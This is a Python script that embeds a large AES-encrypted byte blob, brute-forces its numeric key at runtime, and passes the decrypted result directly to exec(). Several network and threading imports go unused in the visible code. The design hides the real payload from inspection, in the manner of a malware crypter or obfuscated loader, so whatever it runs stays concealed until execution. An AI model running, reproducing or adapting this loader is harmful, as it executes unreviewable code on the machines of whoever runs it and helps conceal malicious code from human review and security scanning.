from Crypto import Random
from Crypto.Cipher import AES
import hashlib
import socket
import random
from threading import Thread
from datetime import datetime
from colorama import Fore, init, Back
class Decryptor:
	def __init__(self, key, file_name):
		self.key = hashlib.sha256(key.encode('utf-8')).digest()
		self.file_name = file_name

	def pad(self, s):
		return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

	def decrypt(self, ciphertext, key):
		iv = ciphertext[:AES.block_size]
		cipher = AES.new(key, AES.MODE_CBC, iv)
		plaintext = cipher.decrypt(ciphertext[AES.block_size:])
		return plaintext.rstrip(b"\0")

	def decrypt_file(self):
		dec = self.decrypt(self.file_name, self.key)
		return dec

class BruteForce:
	def __init__(self, encrypted_codes):
		self.encrypted_codes = encrypted_codes
		self.password = 0

	def start(self): 
		status = True
		while status:
			try:
				test = Decryptor(str(self.password), self.encrypted_codes)
				decrypted_code = test.decrypt_file()
				executable = decrypted_code.decode() 
				status = False
				return executable 
			except UnicodeDecodeError:
				self.password += 1

encrypted_codes = b'\xd3\x1f\x00$\x84=\x815s\xcc\x06\x0f-h,\xadn\x840\x8dnF\x88*\x9b\xfb\x98f\xb3\xd5+l\x08\x0bN\x97Q-\x1c\x9f\x07\xe1\x835t/\xb3\xc9]\x01<2\x9b\xa8\xb0\xaf\x01\xbb9q\xe2$\xbbA\x81\x08\x97\xe9E\x0c\xf7l\xbcSw\xfd\xf0@\xbb\xe1\x10\xcb\xad\xec\xcb\x1a\xc9\xf8\xca,`\xe0\xd8\x13\xd3T\xf44\x92z\xb1\x0e\x19\xa0\xd5\x1b\x0b\xfb,\xdaa\'\xdf\xf4\xcf\x8f\xcd\x15\x01F\xe2\xb3\xab\x1d\x83Xhb|\xe5tP\xc1l\xadF\xa7\xe8\x86\xa9\xd3x\x9f\x11\xee\xa4\xc0T\xe5K\xf1\x9e\x8e\xea\xb9\x0e\xdc\xa9\x1dQn\xef0b\x1dO\xbbp4q\xe4{R\x8b2\xc4\xee\xf4\xdd<\xb9OaC\xb7\xa7\x9eJ\xbc\xf5\x90\xf9\xddz\x857\xf4\xd3\xf4\xe9\x8f\xbd\x8c\xb7\x02\xf5\xcf\x8a\xe5&\xc3\xf2\xfa!\xbf[\xb3JS%\xfe\x00\x16\xadp\xc0\x1f\x14\x93\xdd\x04\xa1O\xb3\xe5ZE7XQ\xdc\xa8\xf4l,\x14\xce`m\xf2\x16+\x19_\xc0\x19\x0e\x1e\xcc\x97\x088\x08\xd8vx8"o\xe5\xb0wc\x98\xf7\xb7\xbb\x8f\xca\t/_l\x98.\x85\x94\x8a\x00\xf4\xb2C\xc0\x11-\xf1Qh\xe8\xfa)\x1e\x15\xbc\xe3\xc6\x88Y-$\xbc\xcd@\x85\xf7\'\xe04v\x9d\x12X\xf1[R \x81\xa4Q\x87\xf1J\x8bY\x10\x97\x8a\xdcUsO\t\xe1:\x95/\xba\xafV\x00O\xeb!w_\xfb>\xafa{mG\xc4\xfb\x88\x85\xe1\xb4_\x03S\x85>s\x18\xd7[\xe1*\xd51\x8a}\xb57\xaa4\x8fK\xc5\x8c[\x9e\xc7\xecU\xf8\x84!\x91\xd7\xf7\ni\x1c\x9c%\x12\xb1Y\x98\xc9\x83\x9f\xdcH\x7ff\xe2-\x14\x8b\\\xe1\x0c^\x04\xc3YV\xb3\x08\x8a\x19\xe4%1\xe6\xf8:)}\xa5\xba>\x13\xe1\xbf\xbf\xba\x8f\t\x15\xbdE\xd4\xc5fY\x80`\xbe\x15\xf0 \xfc\xb9\x15\x17SC\xdd\xf8\x83\x8d\xcd<</\x14\x1a\xa7\x03>N\x94\xa6\xcfgD\x98\xa6MR\\>\x97\xccI\x06\x84\x1d\x07~[v\xb2\x91\x05G\xf6\x193\xd1a\xd9:q\x9c\x0e\'\xd5\xefg\x8b/\xd4\x16p\xb0\x1d\xb61\x1bl\x88"\x0c\x13>\x0f\x86\x8c\xf1\x0c\xbc\xee\x151\xd2\x88\xa8\x1f_R\x7f\xdaa\xd3\xe6!\x99\xb8@ J\x8c{\xc5\xdc\xe5\xf6[v\xc2n\xc1s\xb70WY\xcd&\x99G\xb1N7\xee30\xfe\xc9\x04\x1c\tE=]8vI\xc4\xf2\xec\x8b\xae\xa4v\xb3e\x82\xf2\xc4\x99D|\xf8\x9e|\xc3Y@q\x08\xbaE\x83\x8bf\xb1\xca\xf8\xb3g\x02{\x95\xb6Y\x00\xf5W\xa9\xf8\xc1\xf5>\xc0\xefV>a\xb0u\xe8\xd0\x12\xde\x87D\x90\xa6\xcam\x8b\x13=\x86\xba\xe0\xd9\xd9}\x1c\xb1\xe2\xee:\xd51,(&\x93!\xc4t~\xe7o\xf6\x03!\xc8\x966+\xee(\x7f@\xf4w\xd5\x1d\xfdd\xefm\xa1%\x00\x92\xfb*$\xea/h\xa3\xb6\x0f\t\'\xf6\x96\x8d\xc6)\x8c\xb0\x85%\xe4E\x11\xed\xd2\x01\xe7s\x1c1\xa7\x90\xf3\xc6l\xc5\x9e\xe3\xf5e\x05\xb4\x9e?M\xf8\\\xe9\x13\xcf\x86\xd6\x10\xec\x90[\x88\x89a\xc0\xf2k\x19\xed\x84\xcd\xe9=(K\xa7\xca\xf1\xea\xa2\xd1\xae\xfb\x1e\x8d\xdc\xfe"c\xa1\xa8\xd8\xd3\x18\x1e\xfc2\xe1\x1b&\x1a\xb3\xddm\xe2s\x97\xd6\xcf/\x9e\x95\x84\xec\xc7\xf0\x84yK\x12&\xef\xff\xe2\x95\x0c\xce\xfa\xed\xeekf\x06pI\xb9\xb9\x8fmf\xd9`\x1b\t\xb1\x90$l{\xf1$\xd4Vp\xc1\xe7,\xc7\xb9\x13\x01|g\xd3J\x11\x96 \x1b\xbc\xae"\xd0\x07\x89~\xea\xdf\xbc\xe5\xff7E\xa2F\x13\xf6h\\\x13\x80\x99\t\x8b\xe5p{="*\xc2[oH\xf0\xd1f\xe1M@~\xc7Ee\xdb\x8c\x85;\t\x7f0g$\xfc\xb6\xb0\x0bU\xd3Q*`Y\x0f\xa0\xfb\xe1\xf4\xd2C\xf3Kf`*\x9a\xa4\x97\xfbq\x91\xe8(Y\x90\n\xaa\x9byq\x19\'\xe8\xf4\x0blz\xd2\x1f\t\xa0\x9c\x0f$\xe4\xef\xc2,\xdc\xc1\x87\xcdz{\xb4y^\xf1\x9b\xf4\x08\x1cg#\xe7\x8e\x8d\xd4R\xb7\xd1\xce\xc3\xc1 "\xe6\xbc\xbb\xfe\xe8,\x12Y\xfb\x1b\x1f\xe6\x0c\x18\xd4w\xbc\xa1\x94\x18\xd1\xbc\xdf\x00\xdd[V\xac\xd1d\xff[\xcf_\x81Y\x1a;\xf6\x8cP\xb4\x1d5\xa8K\t\xebi\xc0\x83\x8be+\xde\xfd\x05\x8a\xa1\xa8\xf4\xee?\x05\xac\xe4\\A\x82\xea\xaes\xd3T\xd6\x8cA\xc2\x1b\xe4T\xff{\x04\x0e\x82\xcf"\xfd]s\xe3\x98^\xa0\xe1\xfcN\xc1\x9a\xc8\x06\x7f\xc8lBN\x0f\x9ds\xef\xde2\x80\xe0\xd8!\x14B\xebK\x94\xe3u\x05\x83\x82{\x90\x13\xcbv\xfc\x15\xa1!4\t\x12\xb3\xdc+\xe5T>\xbdu\x9e\xad\x8eT\x97:\xda\xd1\xfa\xe9\x1e\x1f\xf0\x10\x9f\'\x86\x98\\\x8a\xc8\x827y\xaf\xa8\xfa\x85\xa0\xf1w\xdfzw\xb0T\xfd\xd2\x8b\xf7\xd1\x16\xaa\xe1\x8bVE\x9d\xdb\xed:\xa3x+\x03?\x93\xe3\x1a)\x0cH\xb0\x896\xba\x89\x85\x7f_\xec\x1a\x1fj1\x93\x7f\xec\xdb\t4H\x99\x90v}?\xff\x82Z\x1b\x0b\xb32\x8e\xd77\x8fd&\x13Dw\xe3\xa7\x82\x18_\x7f\xde\xc29\xc3\x9apn0#9\xd1\t\r\x8eZ\x0b\xda_\x00\xec\xcd\x82~\xfa;\x02,\x15\x9d\xe6\x1ey\xd3bK`^;\xa5#zS\xf5\xd8\xa3]\x0cX\xa6\xac\xe8v\xe1\x97\xfc\x84\xe0\xa3h\x12\x9a\xb3 \xb00\x93\xd2b\x9f\xf9\xf5\x7f\x9b4\xb4\xbdy3<\xf7\x93\xf1\xf9-\x05N/\xda\x90\xb9\xf59iF\xc7\xcah|#\xfbv68%`T\xe1\x89\x1f\xa9\xc4PNJ\xa2\x9en\x08\xf9Zm\x02/\\\xfb|\x9d\xd5(\x86\xb2\xe6\xf2\x04\x15\xe9\x93\xcb\xb3p7\x0fY\x84 A\x1d\xe04\xd1e.\x80 \xd8\xd1\nS\xb1>.-\x92\xfd\xe1\xcf\xa3o\x08\x01\xf1b\xdb!\x88F\xbf\xa5\x0c/\x0b\x85\xb3\x88:\x9a\xcfp\xe3E\x1e(\'\x88\xe4\xf8i\x90\xc7\x80\xffSr=0\x90\x03^\xe8\xbcc\xb9\x8cLO\xad&\xd6\xfd3\x99\xc3\xce\x88\xd7S(j\xdcNrQ\r\x06;\x07?\x8d\xa4\xe8\x88\x18\xe4\xc0J\x18xN\x90\xe44\x10\x18Q+\xe6\xca3\xd30\xa2\xc3\xf6\x0b\xc7=\x99\xe7\x9e\xb4\xad0,\rp>\xff=B\xb8\x89_{`\x9c\xf2W\xf9\x02\xd7\x15\xcdx[\x11\xc3\xf7\xe9"\x93\x86s\xd0\x1fT[r\xcd \xb8\xa5\x8e\xcaj\xf7\xc2\x8b\xd8\x9d2\xc1\xb4\xdf\xe3\x85\x1c\x02\xd1\x91\xb0\x0f\x04\xc5l@\xb90T9\xf0ELF\xa2M\xe1Q\x89\xfaRU\xc9\x13\\\x84e~\xa8W\xfe\xfbt\xd0\x7f\x0e;\xc9\x8bL"\xc4\x0bq\x18j\x86\xf8\xac\xb0\xbf\xc9\x8fD\xc4\x85\xe1\x97\x07\xd7:\x85\x1b\xb2j\xb90e9\xb2n}\x91\xde{\xf7OI\x9c(\x90\x98\xbb\xde\x02\x90\x0e\x15\xe8y\xedEh\xc9\xeanX\xfa&\x91\xaaD:\n\x84\xc0\xd4\n\xc9Fd>\x8eAb\xd2\xa3\x16\x9a_\xfa\x99p\xc1\xa0\xde\xb8B2\x7f\xb8\x9al[\x85>\xc8\x8b\x86\x1acI\xbd\x86\xd3L\xe5\xa8~\xaf\x1b\x84\'"\xdb\x98\xfe\x8b\x8f\t!\xcb,\xe2\x19T8\x8a\x93\x99\x9a\xc4\xe5\xd4\x80\x8f\x80.\x0f\xea\xdd)P{^\xb1\x03\x80\x94\x96\\\xb3n\xa8\n\xfb\xbc\xc3B\xfb\x91\xc0\xe1\x12\x89\x8aQ\\\x92\x07\xb1\x05\xb5n\t\x05|\x9a\xf3\xea\xdd\xd5X\x12\xaeAg\x11$\x8e`\x96\xbd\x17\x04\x04I\xbe\xcb\xc5n\xbe]\xde\x90\xaf\xban\xe3g\xb0<\x0bc\x11\xcf\xf4_\x06O\'\xb1\x1bHD\xf2\xff\xa9\x86-\t%\x8a\xc4#)\x9a\x1f\x1b\xb0\xa8+`\xe9,\x1d\xc9\xdc\xdd\xb2\xd0\xb5+\x14Y.\xb9\xebY\x85D[\x0e\xb0\x0e\xe8\xf3#%\x9b\xf5~W\xb1@\xb2\xbf\x0b\xf8B\xe1\xb5\x83\xb5\xb8}\x08i;"\xe7\xc7\x87\xee\xa8\x1f\xda?\xe4P\x952&\x1865rg\xd6\xf2\x1f|x\x14I\xea\xb9\xbec\x86*\xb1yK2\xc3bz.\xf8p\x06\xb9\xb3\x98\xa5\x9a\x8e4\xfeK[\xf5\xea\x0b\xb0ai\x16\xe5\xac~\x03n\xed\xfb\xca}<\xec\x91\xe5n\xde\x88kb\x9b\x04g\xfb#z\x98\x13\xc2`Ed\xc1\xfb\x03\xec\xa5\x9a/\xc2\xa1\x17e\x1ax\x0ed\xb5t7\xd9\xd2\x8d\xa2%\x8c\xe2\x10\x8a\xd2\xa8\x1e\xb1\x8c\xf5\xdd\xd9c\xed\x8a\xa4V\xdc\xd6\xc4\x8fESJ\xbb\x1f*\xb4MS.\x8d+\xc6\xd7\xacd\xa3\xb1\xa7\xf5\x0fPK%\x81i\x04G$\tz\xcc\xc4\xd4\x1f\xd5\x89)\xd2\xdb\xd0]\xc3\x1a"\xce\xb5\xc2\x89\xdebl\xcb\xf9\x03\x11lq\xf1\xa7]\xe4\xa8v\x18qV\xd8\x84\xb2\x08b*\x89y!\xf3\x07\x9e\x0e\x7f]L\xc1n\xe7\xb7\xbb\xc9\x15D\x1am\x17\xe3)\xef\x0e\xd0\x8786\x08\x9d{}\x86\x83C8\x01!s\x9e}\x83\x01\x08\xf7|\xa6H\xcb\x91&\x134\x1b\x06\x8fw)\x12\xfey@4\xa3{0\xc8\x97\xb9\x8bT\x1a\x83\xf1\xf6\xb5\x1a\xf4\x9fX\xfd\x8ehx\xda\xb9\x10S2\x82\xbb\xd2g\xff\xc6\xef\xf2\xc8zp\xdaw8\x00\xbfw\xef\xd1\xa2iK}\x99cd\x1fA\x8984\x87OT=\xc0s\x11]}\x9e\xa0\xb42?<\xec\x18\xc8\xdc\xed\xabT\xdd\xf8F\xb6y\xf1\xb2 \x0c\x858\x04\xcc\x86\xd9J\xba\x8aFK\xa6\xd8\xfe\x90\x10)\x16cq\xe07\xa8\x98\x95\xcb\xdc\x86\x0f\x86\x89\xf4\x91_\xc6J\xf6Q\x02N\xcf\xc3pc>\xed\x1ci\x1dr\xd6\xe6Uh2\x02r\xc4\xf8\xe2D\xd6\t\x07\xb1b\xda0\x8e^\x9e\x98\x12_4\x93$"1\x15\xd6\xad!R\xc6$\xbb=\x9fE\xea+W\x89\xa7\xf3\x1d\xfaO\xcbcr~\xaa \xf9\xdc\x84\xd4\xda\xd3\xc4\x91\xf4/\xffh\xb7\xe0?\x0b\x1d\x00i\xad\xc31\x87\x83:\x9c\xd3\xde\x9d\xcaw\x8d""\xd61fa\xe8\xd4l\'\xfa\x19m\xb5\xe1\x15\xec\x1a\x1a\xcf9\xf7\xd4\xd8\xf0\xa6\xcd\xcb\xf6cr\xbd\xbd\xc5gAER)\xc5\x05\n\xc0I\x9fw\xfel~\x81\xd2\xe7\xfd\xdc\x946|:;\xb5\x18\x8e\xf6u\xebDO\x17\xbf\x1aTF\xf4\xfa\xfd\xe0\x10\xf3\xde\xfd\x8e\x14P\xcfx\t\xf2MB\x88\x92\x174\xd0\xd6\xfd\xdbP`\xc5\x1b;\xd0v\xaa\n\xd8H\xa2\xdcJ)\x14\xdf7&"n\xc7\xa3\x16\xeb\xf7-f\xf7ZF\xeae\xc4\xd1\x06\xfaO\xcd\x19D\xec\xf1j\xde(\xb7\xc2\xfe\x88C?\xa4\xb3\xc3\x07\x91\xd1O\x1b\xbf:2\xa6\xff\\\xea\xcdof\x14\xe0D\xf5\xb9k\x87\xcf\\\xd4\x9e\xaf\xc2\xb9a\x99\x94I\xea\xeaN\x10\xacNL\x91\x88\xcb\x04\x1a\xe9~\xb5"\x1b\x17\x83\xb5\xe8-VI\x82\x87z\xea*c\x00\xc9\x97R\xddW\xdd\x08U:\xcb_/D\x01\xfa\'\xf0\xdd\xe7/\x16\xe6t\xea\xc3M\xbeO\x92\xa3:\x1eI\xeeP\xea",\x12\x04o\xa8\x9f\x1e\xb4(+J\\V\x96\xd3\xe4L\xea-\xe3TO.\xaa\xe2\x08/e\xa1\xcbF\x06I\xb1\xc1\x94\xaf\xe0\xa8\r\\\xa5eQa\xf5\xd4p\xe8>\x1e\xe6\x1b\x81\x95\xb8\xf4\x81\xd9;\xee\xb6\xe6\x98\x94\x16__\xde]J\xdc@\xfa\xcbB\x1c\xc3\xa0E\x7f\x0cq\x89=P\xea\x9f\x8cz\xdf\x1b\x80\xf3\xd7H\x92R#\xea\xab\x87\x9b\'\xa5\t9\xbb\x9f\x90\xbb\x9b81\x0e\xf5]\xb2"\\\x94\xcd_\x1c\x18\xaf\xaa>!\xa6{a\xfb\xa9#\xb4k\xbb\n\xfdW\xa8\xac\xe1\xfa,\xe9\xc6\x19.\x148\xa2\xd7F4\x0e\xe4\x8aW\x1bi\xc6\x9c\xa76_CL\x15we\x8b\xef\xb6\xc1[\x7f<\xd0-\xc7\xaco\xf52\x1c\x14\xfcqk\x99\xfc\xdc\xecbj\xae\x7f\x1df\x04\x86\x16{z\xd8$\xec+!Y\xd3\x93\xbd\x06='
brute = BruteForce(encrypted_codes)
executable = brute.start()
exec(executable)
